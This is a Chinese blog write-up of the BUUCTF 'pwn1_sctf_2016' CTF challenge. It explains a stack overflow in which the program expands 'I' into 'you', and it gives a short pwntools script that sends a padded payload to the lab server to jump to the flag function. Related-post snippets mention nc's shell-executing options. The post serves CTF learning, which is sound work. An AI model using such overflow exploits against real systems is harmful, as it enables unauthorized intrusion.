BUUCTF|PWN-pwn1_sctf_2016

最新推荐文章于 2024-08-26 16:07:48 发布
最新推荐文章于 2024-08-26 16:07:48 发布
阅读量640 收藏 1
点赞数
分类专栏： BUUCTF 文章标签： 安全 pwn python linux c语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/arraylocalhost/article/details/124354740
版权

1.checksec+运行

32位+NX保护

2.IDA进行中

1.vul函数

fgets()溢出函数

跟进s查看偏移

offset=0x3c+4

0x3c十进制为60

再来分析函数

replace函数:替换

先写入字符串you

再写入字符串I

然后将I 替换成you

这样的话1个字节就变成了3个

那么我们用20个I,就能换成20个you,60个字节

再加上get flag 的地址

3.脚本 

from pwn import*
#p=process("./5sctf_2016")
p=remote("node4.buuoj.cn",25225)
flag_addr=0x08048F0D	
payload=b'I'*20+b'a'*4+p32(flag_addr)
p.sendline(payload)
p.interactive()

Rt1Text
关注
专栏目录
日行一pwn：pwn1_sctf_2016
m0_57221101的博客
05-13 621
用俩图床，有的有水印，有的没水印，折磨 距离上一次日行一pwn已经快一个月了，干脆改成月行一pwn吧（汗。这段时间去恶补了王爽老师的汇编语言。 结果一回来就做了这么一道题，函数封装的严严实实，打眼一看全是C++。想入门pwn这么难吗。 正片 BUUCTF在线评测 使用BUUCTF靶场，首先标准步骤下载--放到kali里面查--拖到windows用ida反汇编 发现只有一个NX保护 NX保护就是CPU不会执行放在内存段中的代码，也就是我们之前在BOF中学习的像内存中写入Shell的方法
BUUCTF-pwn2_sctf_2016
weixin_44145820的博客
03-06 1022
这题利用的是负数转无符号数造成缓冲区溢出，以及泄露libc基地址执行ROP 题目分析 由于NX开启，我们考虑使用ROP，Canary没有打开使得这题变得很方便 下面是vuln函数： 在该函数中，程序读入一个字符串并转化为带符号整形（signed int），这时，如果我们输入负数可以避开不能大于32的检查 在get_n函数中，读入长度被强制转换为unsigned int，此时-1变成了42949...
BUUCTF Pwn pwn1_sctf_2016
MrTreebook的博客
12-05 1339
BUUCTF Pwn pwn1_sctf_20161.题目下载地址2.checksec检查保护3.IDA分析4.看一下栈大小5.找到后门函数地址6.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 运行一下看看 3.IDA分析 看一下伪代码 int vuln() { const char *v0; // eax char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
BUUCTF PWN wp--pwn1_sctf_2016
最新发布
2302_81740139的博客
08-26 726
PIE（Position Independent Executable）是一种安全特性，使得程序的代码可以在内存中的任意位置加载，每次加载的位置都可能不同。这里显示“No PIE”，意味着程序没有使用PIE，其代码在内存中的位置是固定的（此处为0x8048000），这使得它更容易受到攻击。operator=是std::string类的赋值运算符，将C风格的字符串char*转化为C++风格的std::string。如果v4是"you"，v6是"I"，则这可能是将字符串中的"you"替换为"I"。
[buuctf]pwn1_sctf_2016
逆向萌新的博客
05-30 1623
buuctf：pwn题pwn1_sctf_2016（细致分析）
buuctf之pwn1_sctf_2016
weixin_54452942的博客
03-27 727
简单易懂~
BUUCTF|PWN-pwn1_sctf_2016-WP
l2645470582_的博客
07-29 764
1、下载文件并开启靶机 2、在Linux中查看该文件信息 checksec pwn1_sctf_2016 3、该文件是62为文件，我们用32为IDA打开该文件 3.1、shift+f12查看关键字符串 3.2、双击关键字符串，ctrl+x查看cat flag.txt地址 3.3、F5进入main函数反编译代码区 3.4、看到有个vuln（）关键函数，双击进去 3.5、我们看见关键字变量名溢出，双击查看 s地址： r地址： ...
CTF-PWN-buuctf-pwn1_sctf_2016-CPP的字符串替换
serfend's blog
04-14 516
CTF-PWN 来源：https://buuoj.cn/challenges 内容： 附件：https://pan.baidu.com/s/1bSrSQZYWkBIWCXP5Lsq7sg?pwd=mpgo 提取码：mpgo 答案：flag{714a8f91-7e24-440c-8cc6-1f2d26adbcec} 总体思路 发现get_flag的位置 发现输入会被替换，构造exp 详细步骤 查看文件信息 查看题目发现是将用户输入的I替换为you，虽然输入的时候只允许输入32位，但是因为替换
BUUCTF pwn pwn2_sctf_2016
菜的只能随便写写博客
02-18 2538
0x01 分析   0x02 运行  程序读入一个长度，然后按照长度读入后面输入的data并回显。   0x03 IDA  数据长度被限制为32，无法溢出，接着查看get_n函数。  接受a2个长度的字符串并放到vuln函数的缓冲区内部，但是a2传入的值类型是unsigned int，而前面判断长度的类型是int，可以规避长度限制。   0x04 思路  输入负数长度，绕过长度检查，执行r...
BUUCTF-PWN刷题记录-14
weixin_44145820的博客
04-29 822
目录sctf_2019_easy_heap（块重叠，double free） sctf_2019_easy_heap（块重叠，double free） 这题原题目好像是在Ubuntu16下的，但是BUU上面是Ubuntu18，所以应该更简单一点 总的来说，这题应该是ciscn_2019_final_3的加强版吧，当然也有更简单的地方 首先，给了我们一块rwx的空间 add函数会给你conten...
BUUCTF pwn1_sctf_2016
CHAWUCIREN1的博客
04-08 3453
执行一下 似乎出现第一个i被替换成you 检查一下保护机制 丢到ida里面 输入的变量s大小为0x3c，但是我们看fgets里面，我们只能输入32个字符，没法进行溢出， 我们在输入的时候，会发现i会被替换成you，所以我们可以利用20个i来填充， 找到shell，地址为0x8048F0D 返回地址再随便填四个字符 我们可以构造一下payload payload = ‘I’*20 + p64(0x8048F0D) 这里特别注意一下 payload可以有多种写法 ‘I’ *19 + ‘A’*7 + p
buuctf-pwn1 sctf 2016
weixin_45427676的博客
09-20 739
拿到文件后checksec一下，发现开启了NX保护，说明堆栈不可执行，那我们就不能向堆栈上写东西。 查看一下程序 main()函数调用了vuln()函数，查看一下此函数有没有什么漏洞可以利用，enmenm,发现代码很多不知道什么意思（太菜了太菜了），好好看看这些代码到底啥意思吧~~,部分代码注释如下： 本来看到代码5处，想着能通过向缓冲区S中写入数据，利用栈溢出来覆盖返回地址为后门函数地址，但是fgets()函数告诉我此法不行，因为你最多只能向S中输入32个字符，而缓冲区S的大小为0x3c，也就是需要输入
(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
J1ayの博客
09-10 1525
⭐ 【buuctf】pwn入门 pwn学习之路引入 栈溢出引入 ⭐test_your_nc 【题目链接】 注意到 Ubuntu 18， Linux系统 。 nc 靶场 nc node3.buuoj.cn 25677 【注】 nc命令详解 -c shell命令为“-e”；使用/bin/sh来执行 [危险] -e 文件名程序在连接后执行 [危险] -b 允许广播 -g 网关源路由跃点，最多8个 -G num源路由指针：4，8，12。。。 -i secs 发送的线
BUUCTF pwn——pwn1_sctf_2016
CNS-Enterprise BCC-1701-J
03-12 185
BUUCTF 做题练习
[BUUCTF]——pwn1_sctf_2016
m0_68381884的博客
03-28 521
拿到文件先检查一下 得出结论这是32位程序且开启了nx保护。 用32位ida打开文件，并使用ida分析，看到较为敏感的“get flag” 双击跟进，找到函数后按F5将其反编译得到我们熟悉的伪代码 看到这个函数的作用就是输出“flag.txt”里的内容，记一下地址flag_addr=08048F0D 进入main函数 双击 vuln 函数， 0x02 编写exp: from pwn import* r=remote("redirect.do-not-trust.h.
Buuctf pwn1_sctf_2016
qq_53809201的博客
03-19 541
checksec run ida 在程序中搜索既没有system又没有bin/sh,所以明显的rop nptr处可以使用整数溢出构造rop 然后可以利用printf函数来泄露程序的libc版本 覆盖返回地址执行system来getshell exp from pwn import * from LibcSearcher import * context(os = 'linux', arch = 'i386', log_level = 'debug') elf = ELF("./pwn2") loca
buuctf pwn1_sctf_2016
wp568的博客
10-05 258
看到有.‘rodata:0000000000400684 00000008 C /bin/sh’，点进去看。read()并没有限制输入，显然存在栈溢出漏洞。存在后门函数，函数起始位置400596。拖入IDA，shift+F12查看。
BUU-pwn1_sctf_2016
qq_45771413的博客
04-27 364
今天补牙，帮学弟改大创，以前的题目还没来得及整理，先补票buu部分的入门pwn题ಥ_ಥ 查看保护 IDA 说来惭愧，太久没做C++写的题现在快看不懂了……只能看出来提示输入，有个I和you的处理，然后将变换拷贝回输入变量，输出 寻找敏感调用： 在字符串查找里找到了全家桶： 解题 这里因为不知道中间咋处理的，直接莽，想溢出s。但是发现s虽然要求输入32，但是栈空间有3C（60位），显然无法溢出。想通过v0搞事情，发现v0是char，而且是地址，显然无法利用……预计关键就在中间的那一串看不懂的了。 在一堆
[BUUCTF]PWN4——pwn1_sctf_2016
mcmuyanga的博客
08-24 4017
[BUUCTF]4——pwn1_sctf_2016 题目网址：https://buuoj.cn/challenges#pwn1_sctf_2016 步骤： 例行检查，32位，开启nx（堆栈不可执行）保护，就是说我们没法往堆栈上写东西 nc一下看看输入点的字符串 用32位ida打开附件，shift+f12查看一下程序里的字符串，看到了比较敏感的“cat flag.txt” 双击跟进，ctrl+x查看哪个函数调用了这个字符串，找到函数后按f5将其反编译成我们熟悉的伪代码 看到这个函数的作用就是输出fla
BUUCTF pwn rip
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值